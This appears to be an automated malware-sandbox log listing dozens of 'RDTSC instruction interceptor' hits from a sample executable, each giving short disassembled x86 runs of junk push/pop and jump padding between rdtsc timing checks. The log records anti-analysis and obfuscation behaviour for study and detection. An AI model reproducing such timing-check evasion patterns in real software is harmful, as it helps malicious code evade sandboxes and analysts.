Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D2FC3 second address: 10D2FDF instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 jnp 00007F40A5132E96h 0x0000000d jmp 00007F40A5132E9Eh 0x00000012 pop edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D5E79 second address: 10D5E7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D6125 second address: 10D612A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D612A second address: 10D6134 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F40A503F43Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D6134 second address: 10D613F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D613F second address: 10D6151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop edx 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D6151 second address: 10D6155 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D6155 second address: 10D615B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D615B second address: 10D6180 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F40A5132E9Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [eax] 0x0000000c push ebx 0x0000000d push ecx 0x0000000e jnp 00007F40A5132E96h 0x00000014 pop ecx 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D6180 second address: 10D6184 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D6184 second address: 10D61AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop eax 0x00000007 pop eax 0x00000008 add dword ptr [ebp+122D2E6Eh], eax 0x0000000e lea ebx, dword ptr [ebp+12450DC9h] 0x00000014 push edi 0x00000015 mov edi, dword ptr [ebp+122D2E6Eh] 0x0000001b pop esi 0x0000001c push eax 0x0000001d push eax 0x0000001e push edx 0x0000001f jp 00007F40A5132E98h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D626D second address: 10D629D instructions: 0x00000000 rdtsc 0x00000002 jng 00007F40A503F436h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b or di, 09BFh 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D2970h], ebx 0x00000018 push 68D7C203h 0x0000001d pushad 0x0000001e jmp 00007F40A503F43Eh 0x00000023 push eax 0x00000024 push edx 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D629D second address: 10D62A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10D62A1 second address: 10D62A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F6883 second address: 10F6891 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jbe 00007F40A5132E96h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F6891 second address: 10F68B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnp 00007F40A503F442h 0x0000000b popad 0x0000000c je 00007F40A503F458h 0x00000012 jl 00007F40A503F43Ch 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10C0ED8 second address: 10C0EF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pop eax 0x0000000a jmp 00007F40A5132E9Fh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10C0EF1 second address: 10C0EF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F4A46 second address: 10F4A4A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F4F7D second address: 10F4F8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jl 00007F40A503F436h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F4F8C second address: 10F4F90 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F4F90 second address: 10F4F9A instructions: 0x00000000 rdtsc 0x00000002 jo 00007F40A503F436h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F4F9A second address: 10F4FB2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jng 00007F40A5132E96h 0x0000000b pushad 0x0000000c popad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 jno 00007F40A5132E96h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F4FB2 second address: 10F4FB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F4FB6 second address: 10F4FBA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F4FBA second address: 10F4FC9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F4FC9 second address: 10F5014 instructions: 0x00000000 rdtsc 0x00000002 je 00007F40A5132E96h 0x00000008 jmp 00007F40A5132EA4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jno 00007F40A5132E96h 0x00000016 jmp 00007F40A5132EA9h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 jo 00007F40A5132E96h 0x00000028 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F52E7 second address: 10F5311 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F40A503F436h 0x00000008 jl 00007F40A503F436h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop esi 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F40A503F43Fh 0x00000018 je 00007F40A503F438h 0x0000001e push edi 0x0000001f pop edi 0x00000020 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F5494 second address: 10F54AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 ja 00007F40A5132E96h 0x0000000c pop eax 0x0000000d push ecx 0x0000000e jnp 00007F40A5132E96h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F59D0 second address: 10F59D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10EBFB2 second address: 10EBFBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10EBFBC second address: 10EBFC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10EBFC0 second address: 10EBFC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10EBFC4 second address: 10EBFD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F6478 second address: 10F647C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F647C second address: 10F64BA instructions: 0x00000000 rdtsc 0x00000002 jc 00007F40A503F436h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f pop eax 0x00000010 jmp 00007F40A503F43Bh 0x00000015 jnc 00007F40A503F436h 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e push ebx 0x0000001f pop ebx 0x00000020 jmp 00007F40A503F448h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F9881 second address: 10F9886 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10F9886 second address: 10F989D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F40A503F43Bh 0x0000000d push edx 0x0000000e pop edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10FBC97 second address: 10FBC9E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10FBC9E second address: 10FBCC2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d jnl 00007F40A503F436h 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F40A503F43Eh 0x0000001b rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10FBE08 second address: 10FBE6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F40A5132E96h 0x0000000a popad 0x0000000b pushad 0x0000000c push esi 0x0000000d pop esi 0x0000000e jc 00007F40A5132E96h 0x00000014 popad 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 jmp 00007F40A5132EA4h 0x0000001d push esi 0x0000001e push ecx 0x0000001f pop ecx 0x00000020 pop esi 0x00000021 popad 0x00000022 mov eax, dword ptr [esp+04h] 0x00000026 jmp 00007F40A5132EA8h 0x0000002b mov eax, dword ptr [eax] 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F40A5132EA3h 0x00000034 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10FBE6C second address: 10FBE8D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A503F43Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp+04h], eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jbe 00007F40A503F438h 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10FA695 second address: 10FA69F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F40A5132E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10FC04E second address: 10FC054 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 10FC054 second address: 10FC06F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F40A5132EA7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1103AD5 second address: 1103ADD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1103ADD second address: 1103AE2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1103AE2 second address: 1103B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F40A503F436h 0x0000000a pop ecx 0x0000000b jnl 00007F40A503F442h 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushad 0x00000014 jp 00007F40A503F438h 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1103B0D second address: 1103B2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F40A5132EA6h 0x00000009 push ebx 0x0000000a pop ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1103C8E second address: 1103CC0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F40A503F43Fh 0x00000008 jng 00007F40A503F436h 0x0000000e ja 00007F40A503F436h 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 pushad 0x00000018 popad 0x00000019 jmp 00007F40A503F43Fh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1103DF6 second address: 1103DFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110723B second address: 1107249 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F40A503F436h 0x0000000a pop edi 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1107249 second address: 1107274 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 jno 00007F40A5132E96h 0x0000000e popad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 push edx 0x00000013 pop edx 0x00000014 jmp 00007F40A5132EA2h 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1107274 second address: 1107278 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1109153 second address: 1109183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132E9Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d push esi 0x0000000e jno 00007F40A5132E98h 0x00000014 pop esi 0x00000015 mov eax, dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007F40A5132E9Bh 0x0000001e rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1109183 second address: 1109189 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1109189 second address: 110918D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110918D second address: 11091C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c jl 00007F40A503F43Ah 0x00000012 push eax 0x00000013 pushad 0x00000014 popad 0x00000015 pop eax 0x00000016 pop eax 0x00000017 push 91A79085h 0x0000001c push eax 0x0000001d push edx 0x0000001e pushad 0x0000001f jmp 00007F40A503F449h 0x00000024 pushad 0x00000025 popad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1109849 second address: 110984D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110994B second address: 110994F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110994F second address: 1109959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1109959 second address: 110995D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1109D7A second address: 1109D7E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1109D7E second address: 1109D84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 1109EE1 second address: 1109EF3 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 jg 00007F40A5132EA0h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110A0A7 second address: 110A0AD instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110A0AD second address: 110A0C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 pop eax 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnp 00007F40A5132EA8h 0x00000011 push eax 0x00000012 push edx 0x00000013 jng 00007F40A5132E96h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110A0C6 second address: 110A0CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110A1B5 second address: 110A1B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110A249 second address: 110A24F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110A388 second address: 110A38C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110A38C second address: 110A392 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110B2C9 second address: 110B2CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110B2CE second address: 110B2D3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110B2D3 second address: 110B32D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov si, di 0x0000000d push 00000000h 0x0000000f push 00000000h 0x00000011 push ebp 0x00000012 call 00007F40A5132E98h 0x00000017 pop ebp 0x00000018 mov dword ptr [esp+04h], ebp 0x0000001c add dword ptr [esp+04h], 0000001Ah 0x00000024 inc ebp 0x00000025 push ebp 0x00000026 ret 0x00000027 pop ebp 0x00000028 ret 0x00000029 js 00007F40A5132E9Ch 0x0000002f and esi, 2A7C18E4h 0x00000035 push ebx 0x00000036 mov edi, dword ptr [ebp+122D37CDh] 0x0000003c pop edi 0x0000003d push 00000000h 0x0000003f push ebx 0x00000040 mov dword ptr [ebp+1244F9B7h], edi 0x00000046 pop esi 0x00000047 push eax 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c jo 00007F40A5132E96h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110B32D second address: 110B333 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110C41D second address: 110C43A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F40A5132EA5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110BBA4 second address: 110BBA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110C43A second address: 110C43E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110C43E second address: 110C44F instructions: 0x00000000 rdtsc 0x00000002 jl 00007F40A503F436h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110C44F second address: 110C454 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110D7D5 second address: 110D7DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110E5BA second address: 110E5C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F40A5132E96h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110E5C4 second address: 110E5E0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c jmp 00007F40A503F43Fh 0x00000011 pop esi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110E5E0 second address: 110E5E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\2RxMkSAgZ8.exe	RDTSC instruction interceptor: First address: 110EFFB second address: 110EFFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
